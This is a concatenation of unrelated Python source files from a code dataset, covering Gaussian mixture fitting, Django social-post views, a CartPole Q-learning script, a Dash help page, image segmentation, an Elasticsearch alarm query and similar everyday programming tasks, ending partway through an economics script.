V = np.zeros((self.numFeatures, self.numFeatures))\n dimPairList = map(np.array,itertools.combinations_with_replacement(range(self.numFeatures),2))\n for dimPair in dimPairList:\n histCoordProd = hist.copy()\n for i in dimPair: histCoordProd *= coords[i]\n V[dimPair[0],dimPair[1]] = np.sum(histCoordProd)*np.prod(histSpacing) - np.prod(mu[dimPair])\n\n V = V + V.T - np.diag(V.diagonal()) # Symetrize V\n return (mu,V)\n\n def GetHistogram(self):\n return self.histImg\n \n def CalcFKE(self):\n numComponents = self.gmm.GetNumberOfComponents()\n weightList = self.gmm.GetWeights()\n componentList = []\n \n for m in range(numComponents): componentList.append(self.gmm.GetComponentImage(m,size=self.histImg.GetSize(), spacing=self.histImg.GetSpacing())*weightList[m])\n constant = imgFinite(self.histImg / sum(componentList))\n \n VList = self.gmm.GetSigmas()\n\n bandwidth = 0.5\n minKernelSize = 3*np.ones(self.numFeatures).astype(int)\n kernelSpacing = np.array(self.histImg.GetSpacing())\n kernelSize = np.array(self.histImg.GetSize())\n #kernelSize += np.mod(kernelSize+1,2) # Force kernel to have odd size \n kernelCenter = np.floor(0.5*(kernelSize.astype(float)-1))*kernelSpacing\n\n \"\"\"\n kernelSize = np.array(self.histImg.GetSize())-1 # Not the most efficient\n kernelSize = np.maximum(kernelSize,minKernelSize) # Force kernel size to be greater than minimum size\n kernelCenter = (kernelSize/2)*kernelSpacing\n print(kernelSize/2)\n print(kernelCenter)\n \"\"\"\n\n fke = 0\n for m in range(numComponents):\n kernel = MVGClass(V=VList[m]*bandwidth**2, mu=kernelCenter).GetImage(kernelSize, kernelSpacing)\n fke += sitk.FFTConvolution(componentList[m]*constant, kernel)\n #imgWrite(imgNormalize(fke), \"/cis/home/kwame/Projects/akm/dat/fke.img\")\n #sys.exit()\n\n return imgNormalize(fke)\n\n def CalcDist(self, returnDerivatives=False):\n size = self.histImg.GetSize()\n spacing = self.histImg.GetSpacing()\n fkeImg = self.CalcFKE()\n fkeValues = sitk.GetArrayFromImage(fkeImg).flatten()\n points = GetPoints(size,spacing)\n\n if not returnDerivatives:\n gmmValues = self.gmm.Evaluate(points, returnDerivatives=False)\n error = gmmValues - fkeValues\n value = np.sum(error**2)*np.prod(spacing)\n return value\n else:\n (gmmValues, thetaDerivativeArray) = self.gmm.Evaluate(points, returnDerivatives=True)\n error = gmmValues - fkeValues\n value = np.sum(error**2)*np.prod(spacing)\n error = np.reshape(error, (-1, 1)) # Reshape as column vector\n \n thetaDerivativeList = np.zeros((self.gmm.GetNumberOfComponents(), self.gmm.GetNumberOfParameters()))\n for m in range(self.gmm.GetNumberOfComponents()):\n thetaDerivativeList[m,:] = 2*np.sum(error*thetaDerivativeArray[:,:,m], axis=0)\n\n return (value, thetaDerivativeList)\n\n def AddComponent(self):\n if self.gmm.GetNumberOfComponents() == 0:\n error = self.histImg\n else:\n error = self.CalcFKE() - self.gmm.GetImage(self.histImg.GetSize(), self.histImg.GetSpacing())\n \n kernel = sitk.Image(self.kernelSize, self.histImg.GetPixelID())+1\n kernel.SetSpacing(self.histImg.GetSpacing())\n sumImg = sitk.Convolution(error, kernel)\n sumArr = sitk.GetArrayFromImage(sumImg)\n muIdx = np.unravel_index(np.argmax(sumArr), sumArr.shape)\n weight = sumArr[muIdx]*np.prod(self.histImg.GetSpacing())\n mu = muIdx[::-1] * np.array(self.histImg.GetSpacing())\n V = np.diag(self.varMax)\n \n idxMin = np.zeros(self.numFeatures)\n idxMax = np.array(self.histImg.GetSize()) - 1\n startIdx = muIdx[::-1] - self.kernelSize/2\n startIdx = np.minimum(np.maximum(startIdx,idxMin), idxMax).astype(int) # Bound idx to extent of image\n errorSize = np.array(error.GetSize())\n size = np.minimum(self.kernelSize, errorSize-startIdx)\n \n roiImg = sitk.Extract(error, size, startIdx)\n (weight,mu,V) = imgHistStats(roiImg)\n\n \n self.gmm.AddComponent(weight, mu, V)\n thetaList = self.gmm.GetParameters()\n ###\n if self.gmm.GetNumberOfComponents() == 1:\n thetaList[0,0] = 1.0\n else:\n thetaList[0:self.gmm.GetNumberOfComponents()-1,0] *= (1 - weight)\n ###\n self.gmm.SetParameters(np.minimum(np.maximum(thetaList, self.thetaMin), self.thetaMax)) #Bound parameters \n self.OptimizeComponents() \n\n def OptimizeComponents(self):\n # Parameter Format is ...\n # [[weight0, mu00, mu01, sigma00, sigma01, sigma02, sigma03],\n # [weight1, mu10, mu11, sigma10, sigma11, sigma12, sigma13]\n # ...\n # [weightM, muM0, muM1, sigmaM0, sigmaM1, sigmaM2, sigmaM3]]\n # ... where M = Number Of Components\n thetaList = self.gmm.GetParameters()\n if self.verbose: print(\"theta = \\n{0}\".format(thetaList))\n thetaListOrig = self.gmm.GetParameters()\n iteration = 0\n epsilon = self.epsilonInit\n while (iteration < self.numIterations) and (epsilon > self.epsilonMin):\n thetaListOld = self.gmm.GetParameters()\n (valueOld, thetaDerivativeList) = self.CalcDist(returnDerivatives=True)\n step = epsilon*self.optScale*thetaDerivativeList\n if self.debug: print(\"{0}\".format(step))\n #if self.gmm.GetNumberOfComponents() >1: print(step) ###\n thetaList = thetaListOld - step\n thetaList[:,0] /= np.sum(thetaList[:,0]) # Normalize weights ###\n thetaList = np.minimum(np.maximum(thetaList, self.thetaMin), self.thetaMax) # Limit Parameters to range\n self.gmm.SetParameters(thetaList)\n value = self.CalcDist()\n\n if value > valueOld or math.isnan(value):\n epsilon *= 0.5\n self.gmm.SetParameters(thetaListOld)\n #print(\"Decreased Epsilon.\")\n else:\n valueOld = value\n epsilon *=1.1\n iteration +=1;\n print(\"Iteration = {0}, dist = {1}, epsilon = {2}\".format(iteration, value, epsilon))\n if self.verbose: print(\"theta = \\n{0}\".format(thetaList))\n \n def Execute(self):\n if self.debug:\n imgWrite(self.histImg, self.debugPath + \"hist.img\") ###\n \n for m in range(self.numComponents):\n print(\"----- m = {0} -----\" .format(m+1))\n self.AddComponent()\n \n print(self.gmm.GetParameters())\n\n if self.debug:\n fkeImg = self.CalcFKE()\n imgWrite(fkeImg, self.debugPath+\"fke{0}.img\".format(m))\n\n gmmImg = self.gmm.GetImage(size=self.histImg.GetSize(), spacing=self.histImg.GetSpacing()) ###\n imgWrite(gmmImg, self.debugPath+\"gmm{0}.img\".format(m)) ###\n\n errorImg = gmmImg - fkeImg\n imgWrite(errorImg, self.debugPath+\"error{0}.img\".format(m)) ###\n","sub_path":"rewrite_func/testingAKM.py","file_name":"testingAKM.py","file_ext":"py","file_size_in_byte":11125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"403522298","text":"'''\nCreated on 2016年5月25日\n\n@author: CY\n\nC(n,r) = C( n-1, r ) + C(n-1, r-1)\nC(n,1) = n\nC(n,n) = 1\nCompute C( 990, 33 )\n'''\n\n# VERY SLOW ...\n# def combination(n, r):\n# if r == 1:\n# return n\n# if r == n:\n# return 1\n# return combination(n - 1, r) + combination(n - 1, r - 1)\n# \n# print(combination(990,33))\n\n \nimport time\n \ncombDict = {}\n \ndef combination(n, r):\n if (n, r) in combDict.keys():\n return combDict[(n, r)]\n \n if r == 1:\n return n\n if r == n:\n return 1\n \n combDict[(n - 1, r)] = combination(n - 1, r)\n combDict[(n - 1, r - 1)] = combination(n - 1, r - 1)\n \n return combDict[(n - 1, r)] + combDict[(n - 1, r - 1)] \n \n# tStart = time.time()\n# print(combination(5, 2))\nprint(combination(990,33))\n# tEnd = time.time()\n# print(\"cost: \", tStart - tEnd)\n","sub_path":"Glia/Combination.py","file_name":"Combination.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"508691878","text":"# coding: utf-8\n\n\"\"\"\n Selling Partner API for Orders\n\n The Selling Partner API for Orders helps you programmatically retrieve order information. These APIs let you develop fast, flexible, custom applications in areas like order synchronization, order research, and demand-based decision support tools. # noqa: E501\n\n OpenAPI spec version: v0\n \n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\n\nclass OrderAddress(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'amazon_order_id': 'str',\n 'shipping_address': 'Address'\n }\n\n attribute_map = {\n 'amazon_order_id': 'AmazonOrderId',\n 'shipping_address': 'ShippingAddress'\n }\n\n def __init__(self, amazon_order_id=None, shipping_address=None): # noqa: E501\n \"\"\"OrderAddress - a model defined in Swagger\"\"\" # noqa: E501\n self._amazon_order_id = None\n self._shipping_address = None\n self.discriminator = None\n self.amazon_order_id = amazon_order_id\n if shipping_address is not None:\n self.shipping_address = shipping_address\n\n @property\n def amazon_order_id(self):\n \"\"\"Gets the amazon_order_id of this OrderAddress. # noqa: E501\n\n An Amazon-defined order identifier, in 3-7-7 format. # noqa: E501\n\n :return: The amazon_order_id of this OrderAddress. # noqa: E501\n :rtype: str\n \"\"\"\n return self._amazon_order_id\n\n @amazon_order_id.setter\n def amazon_order_id(self, amazon_order_id):\n \"\"\"Sets the amazon_order_id of this OrderAddress.\n\n An Amazon-defined order identifier, in 3-7-7 format. # noqa: E501\n\n :param amazon_order_id: The amazon_order_id of this OrderAddress. # noqa: E501\n :type: str\n \"\"\"\n if amazon_order_id is None:\n raise ValueError(\"Invalid value for `amazon_order_id`, must not be `None`\") # noqa: E501\n\n self._amazon_order_id = amazon_order_id\n\n @property\n def shipping_address(self):\n \"\"\"Gets the shipping_address of this OrderAddress. # noqa: E501\n\n\n :return: The shipping_address of this OrderAddress. # noqa: E501\n :rtype: Address\n \"\"\"\n return self._shipping_address\n\n @shipping_address.setter\n def shipping_address(self, shipping_address):\n \"\"\"Sets the shipping_address of this OrderAddress.\n\n\n :param shipping_address: The shipping_address of this OrderAddress. # noqa: E501\n :type: Address\n \"\"\"\n\n self._shipping_address = shipping_address\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n if issubclass(OrderAddress, dict):\n for key, value in self.items():\n result[key] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, OrderAddress):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","sub_path":"sp_api/api/orders/models/order_address.py","file_name":"order_address.py","file_ext":"py","file_size_in_byte":4468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"445224975","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\nfrom django.views.generic import ListView, DetailView, CreateView, DeleteView\nfrom django.contrib.auth.models import User\nfrom django.http import HttpResponse\nfrom .models import Post, Following, Comments\nfrom .forms import CommentForm\n\n\ndef home(request):\n context = {\n 'posts': Post.objects.all()\n }\n return render(request, 'makeposts/home.html', context)\n\n\ndef follow(request, pk):\n if request.user and request.user.is_authenticated:\n user = User.objects.get(username=request.user)\n post_user_id = Post.objects.get(id=pk).author_id\n following = Following(user_id=post_user_id, follower=user.id)\n following.save()\n return redirect('/')\n\ndef unfollow(request, pk):\n if request.user and request.user.is_authenticated:\n user = User.objects.get(username=request.user)\n post_user_id = Post.objects.get(id=pk).author_id\n following = Following.objects.get(user_id=post_user_id, follower=user.id)\n following.delete()\n return redirect('/')\n\n\ndef home(request):\n if request.user and request.user.is_authenticated:\n user = User.objects.get(username=request.user)\n posts = Post.objects.order_by('-date_posted')\n try:\n following = [f.user_id for f in Following.objects.filter(follower=user.id)]\n except Following.DoesNotExist:\n following = []\n return render(request, 'makeposts/home.html', {\n \"posts\": posts, \"following\": following\n })\n else:\n return redirect(\"/login\")\n\n\ndef comment(request, pk):\n if request.method == \"POST\":\n if request.user and request.user.is_authenticated:\n user = User.objects.get(username=request.user)\n form = CommentForm(request.POST)\n if form.is_valid():\n comment = Comments(post_id=pk, commenter=user.id, comment=form.cleaned_data[\"comment\"], username=request.user)\n comment.save()\n return redirect(\"/post/\" + str(pk))\n else:\n return HttpResponse(\"Invalid Form\")\n\n\ndef post_detail(request, pk):\n if request.user and request.user.is_authenticated:\n user = User.objects.get(username=request.user)\n following = [f.user_id for f in Following.objects.filter(follower=user.id)]\n post = Post.objects.get(id=pk)\n comments = Comments.objects.filter(post_id=pk).order_by(\"-comment_time\")\n return render(request, \"makeposts/post_detail.html\", {\n \"comments\": comments, \"object\": post, \"following\": following\n })\n\n\nclass PostListView(ListView):\n model = Post\n template_name = 'makeposts/home.html'\n context_object_name = 'posts'\n ordering = ['-date_posted']\n\n\nclass PostCreateView(LoginRequiredMixin, CreateView):\n model = Post\n fields = ['title', 'content', 'image']\n\n def form_valid(self, form):\n form.instance.author = self.request.user\n return super().form_valid(form)\n\n\n\n\n\n","sub_path":"app/makeposts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"36453273","text":"import gym\nimport reinforcenet\nimport neuralnet\nfrom gym import envs\nimport random\nimport numpy as np\n\ndef main():\n #env = gym.make('LunarLander-v2')\n env = gym.make('CartPole-v1')\n gamma = .7\n learning_rate = 0.1\n numActions = 2\n probOfRandom = 30\n startE = 1 # Starting chance of random action\n endE = 0#.1 # Final chance of random action\n anneling_steps = 10000. # How many steps of training to reduce startE to endE.\n num_episodes = 10000 # How many episodes of game environment to train network with.\n pre_train_steps = 10000 # How many steps of random actions before training begins.\n\n e = startE\n stepDrop = (startE - endE) / anneling_steps\n\n\n \"\"\"\n brain = reinforcenet.neuralnet(0.1,[5,1])\n\n print(\"potato\")\n print(brain.feedforward([9,9,9,9] ))\n print(\"potato\")\n \"\"\"\n\n #print(env.action_space)\n #print(env.observation_space)\n\n filename = 'results/cartpole-experiment-5'\n\n brain = neuralnet.initialize_network(4,4,1)\n\n\n env.monitor.start(filename, force=True)\n total = 0\n for i_episode in range(100000):\n observation = env.reset()\n\n\n if(i_episode % 1000 == 0):\n print(i_episode)\n print(\"****\\ntotal reward is %s\\n****\" % total)\n\n total = 0\n for t in range(10000):\n # env.render()\n # print(observation)\n\n # action = env.action_space.sample()\n\n\n if np.random.rand(1) < e:\n action = np.random.randint(0,numActions)\n else:\n action, Calcreward = maxQ(observation[:],numActions,brain)\n\n\n\n observation2, reward, done, info = env.step(action)\n\n tmpAcion, max = maxQ(observation2[:],numActions,brain)\n QValue = reward + gamma*max\n\n total = total + reward\n\n state = observation[:]\n state = np.append(state, 9)\n state[len(state) - 1] = action\n\n neuralnet.forward_propagate(brain, state)\n\n if(done):\n neuralnet.backward_propagate_error(brain, [0])\n neuralnet.update_weights(brain,state,learning_rate)\n else:\n neuralnet.backward_propagate_error(brain, [QValue])\n neuralnet.update_weights(brain, state, learning_rate)\n\n observation = observation2\n\n # print(\"action is %s\" %action)\n\n if done:\n if e > endE:\n e = e - stepDrop\n # print(\"Episode finished after {} timesteps\".format(t+1))\n break\n\n\n print(\"****\\ntotal reward is %s\\n****\" % total)\n env.monitor.close()\n\n #gym.upload('/home/pedro/Desktop/ML/results/cartpole-experiment-5',api_key='sk_g4guzFpcSQSxIv1VsL8Xsw')\n\ndef maxQ(state,numActions,brain):\n bestR = 0\n bestAction = 0\n state = np.append(state,9)\n for ai in range(0,numActions):\n state[len(state)-1] = ai\n Result = neuralnet.forward_propagate(brain,state[:])[0]\n if(Result > bestR):\n bestR = Result\n bestAction = ai\n\n return bestAction, bestR\n\nclass experience_buffer():\n\n def __init__(self, buffer_size = 1000):\n self.buffer = []\n self.buffer_size = buffer_size\n\n def add(self, experience):\n if len(self.buffer) + len(experience) >= self.buffer_size:\n self.buffer[0:(len(experience) + len(self.buffer)) - self.buffer_size] = []\n self.buffer.extend(experience)\n\n def sample(self, size):\n return random.sample(self.buffer, size)\n\n\nmain()\n\n\"\"\"\n\n\"\"\"\n\"\"\"\n\n\"\"\"","sub_path":"qTest.py","file_name":"qTest.py","file_ext":"py","file_size_in_byte":3564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"482660836","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n#!/usr/bin/env python\n# coding: utf-8\n\n# In[28]:\n\n\nimport dash\nimport dash_bootstrap_components as dbc\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_gif_component as Gif\nfrom dash.dependencies import Input, Output , State\nimport dash_bootstrap_components as dbc\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport numpy as np\nfrom io import BytesIO\nimport base64\n\n\n# In[29]:\n\n\nfrom navbar import Navbar\nnav = Navbar()\n\n\n# In[35]:\n\n\ndef fig_to_uri(in_fig, close_all=True, **save_args):\n # type: (plt.Figure) -> str\n \"\"\"\n Save a figure as a URI\n :param in_fig:\n :return:\n \"\"\"\n out_img = BytesIO()\n in_fig.savefig(out_img, format='png', **save_args)\n if close_all:\n in_fig.clf()\n plt.close('all')\n out_img.seek(0) # rewind file\n encoded = base64.b64encode(out_img.read()).decode(\"ascii\").replace(\"\\n\", \"\")\n return \"data:image/png;base64,{}\".format(encoded)\n\n\n# In[36]:\n\n\nimg = mpimg.imread('./my_g.png')\nfig= plt.figure(figsize=(7,5))\nplt.imshow(img)\ncur_axes = plt.gca()\ncur_axes.axes.get_xaxis().set_visible(False)\ncur_axes.axes.get_yaxis().set_visible(False)\nout_url = fig_to_uri(fig)\n\n\n# In[40]:\n\n\nbody = dbc.Container(\n [\n dbc.Row(\n [\n dbc.Col(\n [\n html.H2(\"Welcome\"),\n html.P(\n \"\"\"\\\n Welcome to the help manual for the app:\"\"\"\n ),\n html.P(\"\"\"1). First select the stocks you want to add to your ticker.\"\"\",style={'color':'white'}),\n html.P(\"\"\"2). Select a timeline, please include an entire year for proper analysis.\"\"\",style={'color':'pink'}),\n html.P(\"\"\"3). Select the stock symbol which you want to analyze, make sure you had included that stock in your ticker or else, no result will be generated.\"\"\",style={'color':'lightblue'}),\n html.P(\"\"\"4). Click on the submit button, it sometimes takes some time to generate the result.\"\"\"),\n html.P(\"\"\"Thank You for using our app, if you have any queries, reach us at:\"\"\",style={'color':'yellow'}),\n html.P(\"\"\"Modhuli Goswami- mdg2197@columbia.edu\"\"\",style={'color':'green'}),\n \n ],\n md=4,\n ),\n dbc.Col(\n [\n html.H2(\"Stock Market Analysis\"),\n html.Img(id = 'pic1', src =out_url),\n ]\n ),\n ]\n )\n ],\nclassName=\"mt-4\",\n)\n\n\n# In[41]:\n\n\ndef Help():\n layout = html.Div([\n nav,\n body\n ])\n return layout\n\n\n# In[42]:\n\n\napp = dash.Dash(__name__, external_stylesheets = [dbc.themes.UNITED])\napp.layout = Help()\nif __name__ == \"__main__\":\n app.run_server()\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"help1.py","file_name":"help1.py","file_ext":"py","file_size_in_byte":3027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"616526598","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport torch\nfrom torchvision import transforms as T\nimport cv2\nimport time\nimport os\nimport segmentation_models_pytorch as smp\nfrom PIL import Image\nfrom scipy import stats\nfrom scipy.spatial import distance\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\ndef predict_image(model, image, mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]):\n model.eval()\n t = T.Compose([T.ToTensor(), T.Normalize(mean, std)])\n image = t(image)\n model.to(device)\n image = image.to(device)\n with torch.no_grad():\n image = image.unsqueeze(0)\n output = model(image)\n # masked = torch.argmax(output, dim=1)\n # masked = masked.cpu().squeeze(0)\n return output\n\n\ndef decode_segmap(image, nc=23):\n\n label_colors = np.array([(0, 0, 0), # 0=unlabeled\n # 1=paved-area, 2=dirt, 3=bird, 4=grass, 5=gravel\n (128, 64, 128), (130, 76, 0), (0,\n 102, 0), (112, 103, 87), (28, 42, 168),\n # 6=water, 7=rocks, 8=pool, 9=vegetation, 10=roof\n (48, 41, 30), (0, 50, 89), (107,\n 142, 35), (70, 70, 70), (102, 102, 156),\n # 11=wall, 12=window, 13=door, 14=fence, 15=fence-pole\n (254, 228, 12), (254, 148, 12), (190, 153,\n 153), (153, 153, 153), (255, 22, 96),\n # 16=person, 17=dog, 18=car, 19=bicycle, 20=tree, 21=bald-tree, 22=ar-marker, 23=obstacle\n (102, 51, 0), (9, 143, 150), (119, 11, 32), (51, 51, 0), (190, 250, 190), (112, 150, 146), (2, 135, 115)])\n\n r = np.zeros_like(image).astype(np.uint8)\n g = np.zeros_like(image).astype(np.uint8)\n b = np.zeros_like(image).astype(np.uint8)\n\n for l in range(0, nc):\n idx = image == l\n r[idx] = label_colors[l, 0]\n g[idx] = label_colors[l, 1]\n b[idx] = label_colors[l, 2]\n\n rgb = np.stack([r, g, b], axis=2)\n return rgb\n\n\ndef bincount_app(a):\n a2D = a.reshape(-1, a.shape[-1])\n col_range = (256, 256, 256) # generically : a2D.max(0)+1\n a1D = np.ravel_multi_index(a2D.T, col_range)\n return np.unravel_index(np.bincount(a1D).argmax(), col_range)\n\n\nmodel = torch.load('models/DeepLabV3Plus-Mobilenetv2.pt')\n\nimg = cv2.imread(\"test.jpg\")\n\nimg = cv2.resize(img, (1056, 704))\n\nimg2show = img.copy()\n\npred_mask = predict_image(model, img)\npred_mask = torch.argmax(\n pred_mask.squeeze(), dim=0).detach().cpu().numpy()\n\npred_mask = decode_segmap(pred_mask)\n\ncv2.imshow(\"test\", img)\ncv2.imshow(\"mask\", pred_mask)\ncv2.waitKey()\n\n# fig, (ax1, ax2, ax3) = plt.subplots(1, 3, figsize=(20, 10))\n# ax1.imshow(img2show)\n# ax1.set_title('Picture')\n\n# ax2.imshow(pred_mask)\n# ax2.set_title('Predicted Mask')\n# ax2.set_axis_off()\n\n# ax3.imshow(img)\n# ax3.imshow(pred_mask, alpha=0.6)\n# ax3.set_title('Picture with Mask Appplied')\n# ax3.set_axis_off()\n\n# plt.show()\n","sub_path":"src/evaluation/segmentation_experiment.py","file_name":"segmentation_experiment.py","file_ext":"py","file_size_in_byte":3143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"455531","text":"import pandas as pd\nfrom pandas import DataFrame, Series\nfrom itertools import cycle\n\n\npd.set_option('display.unicode.east_asian_width', True)\n\narea = '서울 부산 대구 인천 광주 대전 울산 세종 경기 강원 충북 충남 전북 전남 경북 경남 제주'.split()\ncollege = '인문대학 사회과학대학 자연과학대학 간호대학 경영대학 공과대학 미술대학'.split()\ngender = '남성 여성'.split()\n\n# 100개의 가짜 데이터 생성, itertools.cycle 함수로 각 요소를 순환시킵니다.\nfake_data = zip(range(100), cycle(area), cycle(college), cycle(gender))\nhundred_students = DataFrame([data for num, *data in fake_data],\n columns='지역 단과대 성별'.split())\nhundred_students.head(10)\n\n# pd.get_dummies로 One-hot 인코딩\ncollege_one_hot_encoded = pd.get_dummies(hundred_students.단과대)\n\n# 원래 데이터와 비교식으로 보여주기용 데이터프레임\ncollege_with_onehot = pd.concat(\n\t[DataFrame(hundred_students.단과대), college_one_hot_encoded],\n\taxis=1)\ncollege_with_onehot.head(10)\n\npd.get_dummies(hundred_students, prefix=['지역', '단과대', '성별']).head(10)\n\n\n","sub_path":"sample/onehot.py","file_name":"onehot.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"421926199","text":"import tacoma as tc\nimport matplotlib.pyplot as pl\nimport DynGillEpi as gill\nimport numpy as np\n\n\nN_meas = 10\nL_ = tc.dynamic_RGG(50,t_run_total=10,mean_link_duration=2)\nL = tc.edge_lists()\nL.copy_from(L_)\netas = np.logspace(0.1,1,10)\neta = 10.\nrho = 0.5\ntc_vals = np.zeros((len(etas),N_meas))\ndyn_vals = np.zeros((len(etas),N_meas))\n\nseed = 123434543\n\nfor ieta,eta in enumerate(etas):\n for meas in range(N_meas):\n L_sis = tc.Dyn_SIS(L.N, 100, eta, rho,number_of_initially_infected = 25,seed=seed)\n tc.gillespie_SIS_on_edge_lists(L,L_sis)\n\n t = np.array(L_sis.time)\n dt = t[1:] - t[:-1]\n I_mean = np.array(dt).dot(L_sis.I[:-1])/sum(dt)\n\n result = gill.SIS_Poisson_homogeneous(L.N,L.edges,eta,rho,100,seed=seed,initial_number_of_infected=25)\n tc_vals[ieta,meas] = I_mean\n dyn_vals[ieta,meas] = np.mean(np.array(result.I[0][:-1],dtype=float))\n\n pl.plot(L_sis.time,L_sis.I)\n pl.plot(np.arange(len(result.I[0])),result.I[0])\n\n pl.show()\n \n\n seed += 1\n print(meas)\n\n\ntc_means = tc_vals.mean(axis=1)\ndyn_means = dyn_vals.mean(axis=1)\n\npl.plot(etas,tc_means)\npl.plot(etas,dyn_means)\n\npl.show()\n\n","sub_path":"sandbox/test_exhaustive_dyn_SIS.py","file_name":"test_exhaustive_dyn_SIS.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"405072922","text":"import os\nfrom datetime import datetime, timezone, timedelta\nfrom elasticsearch import Elasticsearch\nfrom dotenv import load_dotenv\nfrom pathlib import Path\n\nBASE_DIR=Path(__file__).resolve().parent.parent\nload_dotenv(BASE_DIR / \".env\")\n\nhost_es = os.environ.get(\"HOST_ES\")\nuser_es = os.environ.get(\"USER_ES\")\nport_es = os.environ.get(\"PORT_ES\")\nurl_pfefix_es = os.environ.get(\"URL_PREFIX_ES\")\npass_es = os.environ.get(\"PASSWORD_ES\")\n\n\ndef time_to_qery(minutes):\n now_time = datetime.now(tz=timezone.utc)\n start_time = now_time - timedelta(minutes = minutes) \n start_time = start_time.strftime(\"%Y-%m-%dT%H:%M\")\n now_time = now_time.strftime(\"%Y-%m-%dT%H:%M\")\n return now_time, start_time\n\n\nnow_time, start_time = time_to_qery(7880) \n\n\ndef get_resultes(host =host_es, port = port_es ,url_prefix = url_pfefix_es, user = user_es,\n password = pass_es, alarm_query =\"OSC_LOS\", start_query= start_time, end_query= now_time):\n\n es = Elasticsearch(host, port=port, url_prefix = url_prefix, http_auth=(user, password))\n\n\n body_search = {\n \"version\": True,\n \"size\": 500,\n \"sort\": [\n {\n \"@timestamp\": {\n \"order\": \"desc\",\n \"unmapped_type\": \"boolean\"\n }\n }\n ],\n \"query\": {\n \"bool\": {\n \"must\": [],\n \"filter\": [\n {\n \"match_all\": {}\n },\n {\n \"match_phrase\": {\n \"usersite.raw\": \"OSP_ROADM\"\n }\n },\n {\n \"match_phrase\": {\n \"probableCause\": alarm_query \n }\n },\n # {\n # \"match_phrase\": {\n # \"status.raw\": \"ACTIVE\"\n # }\n # },\n {\n \"range\": {\n \"@timestamp\": {\n \"gte\": start_query,\n \"lte\": end_query,\n \"format\": \"strict_date_optional_time\"\n }\n }\n }\n ]\n }\n }\n }\n \n try:\n res = es.search(index=\"alarms-pool\", body=body_search)\n connectoin_status = True\n query_list = res['hits']['hits']\n if query_list:\n print(f\"Find {len(query_list)} results\")\n else:\n print(\"Nothing found\") \n except:\n connectoin_status = False\n raise Exception(\"Connection to ES failed, check query parameters.\")\n return query_list","sub_path":"util/query_debug.py","file_name":"query_debug.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"414244053","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('data', '0004_auto_20141219_1401'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='datum',\n name='datum_type',\n field=models.CharField(max_length=255, choices=[('numeric', 'Numeric'), ('long_text', 'Long Text'), ('short_text', 'Short Text'), ('choice', 'Choice'), ('multi_choice', 'Multi Choice')]),\n preserve_default=True,\n ),\n ]\n","sub_path":"data/migrations/0005_auto_20141219_1403.py","file_name":"0005_auto_20141219_1403.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"200496863","text":"import numpy as np\nfrom numba import jit\n# import scipy.optimize as opt\nimport matplotlib.pyplot as plt\n\nalpha = .35\nbeta = .98\nrho = .95\nsigma = .02\n\nkbar = (alpha * beta) ** (1 / (1 - alpha))\n\nimport sympy as sy\nfrom sympy import *\n\n\ndef F(x):\n a = (alpha * (x**(alpha - 1)))\n b = ((x**alpha) - x)\n return a / b\n\n\ndef G(x):\n a = -(alpha * 